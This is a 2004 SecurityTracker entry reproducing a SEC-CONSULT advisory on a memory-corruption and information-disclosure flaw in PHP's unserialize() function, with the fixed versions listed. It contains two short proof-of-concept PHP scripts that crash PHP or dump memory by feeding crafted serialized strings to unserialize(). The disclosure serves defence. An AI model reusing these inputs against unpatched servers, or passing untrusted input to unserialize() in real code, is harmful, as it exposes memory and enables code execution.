PHP serialize() May Let Users Execute Arbitrary Code or View Memory Contents
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SecurityTracker Alert ID: 1012568 |
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SecurityTracker URL: http://securitytracker.com/id/1012568
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CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
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Updated: Dec 16 2004
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Original Entry Date: Dec 16 2004
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Impact:
Disclosure of system information, Disclosure of user information, Execution of arbitrary code via local system, Execution of arbitrary code via network, User access via local system, User access via network
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Fix Available: Yes Vendor Confirmed: Yes Exploit Included: Yes
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Version(s): prior to 4.3.10 and 5.0.3; tested on 4.3.9
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Description:
A vulnerability was reported in PHP in the unserialize() function. A script may be able to execute arbitrary code or obtain portions of memory.
Martin Eiszner of SEC-CONSULT reported that the unserialize() function does not properly validate serialized strings. As a result, a specially crafted PHP script may be able to access portions of PHP memory or execute arbitrary code on the target system.
A demonstration exploit script is provided:
<?
$s = 's:9999999:"A";"';
$a = unserialize($s);
print $a;
?>
If a PHP script allows remote users to supply data (e.g., via cookies) to be processed by unserialize(), this vulnerability may be exploited by remote users, depending on the PHP application.
The vendor was notified on November 19, 2004.
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Impact:
A script may be able to execute arbitrary code or obtain portions of memory.
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Solution:
The vendor has released fixed versions (4.3.10 and 5.0.3), available at:
http://www.php.net/downloads.php
[Editor's note: Stefan Esser reports that these bugs were corrected in CVS several months ago.]
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Vendor URL: www.php.net/ (Links to External Site)
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Cause:
Boundary error, Input validation error
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Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
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Message History:
This archive entry has one or more follow-up message(s) listed below.
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Source Message Contents
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Date: Wed, 15 Dec 2004 22:32:54 +0100
Subject: php unserialize
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SEC-CONSULT Security Advisory PHP - 4.3.9 unserialize function
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Product: PHP 4.3.9 (Win32/Unix)
Remarks: no other Versions tested but very likely vulnerable
Vulnerablities:
- Data Segment memory corruption
- Information disclosure / Memory dumping
Vendor: PHP (http://www.php.net/)
Vendor-Status: vendor contacted (19.11.2004)
Vendor-Patchs: vendor has released bugfixed versions
Object: ---
Exploitable:
Local: ---
Remote: PARTIAL (OS-dependent)
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Introduction
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Visit "http://www.php.net" for additional information.
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Vulnerability Details
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1) Memory Corruption / buffer overflow
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FUNCTION:
unserialize (http://at.php.net/manual/en/function.unserialize.php)
DESCRIPTION:
Insufficient input validation of serialized strings lead to memory corruption and information disclosre.
EXAMPLE script - "Segfault":
---cut here---
<?
$s = 's:9999999:"A";"';
$a = unserialize($s);
print $a;
?>
---cut here---
REMARKS:
leads to arbitrary code execution and file/information disclosure.
EXAMPLE script - "Memory Dump":
---cut here---
<?
// session- and stuff
$secret_username="uaaaa";
$secret_password="hoschi";
// stuff
// $c = $_COOKIE ['crypted_stuff']
// $c = some cookie
/* simplyfied --> userinput */ $c = 's:30000:"crap";';
$userdata = unserialize($c);
//
// check $userdata stuff
// for some reason output $userdata
print $userdata . "\n is NOT valid !!\n";
// stuff
?>
---cut here---
REMARKS:
Could theoretically be used to circumvent safe-mode and/or gain sensitive information about script- and memory areas.
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GENERAL REMARKS
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We would like to apologize in advance for potential nonconformities and/or known issues.
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FOR SOME STRANGE REASONS HARDENED-PHP.NET HAS RELEASED THIS ADVISORY TODAY TOGETHER WITH A BUNCH OF OTHER VULNERABILITIES
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Recommended Hotfixes
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Vendor-Patches: vendor has released bugfixed versions
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Contact
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SEC-CONSULT
Austria / EUROPE
m.eiszner@sec-consult.com
EOF Martin Eiszner / @2004m.eiszner@sec-consult.com
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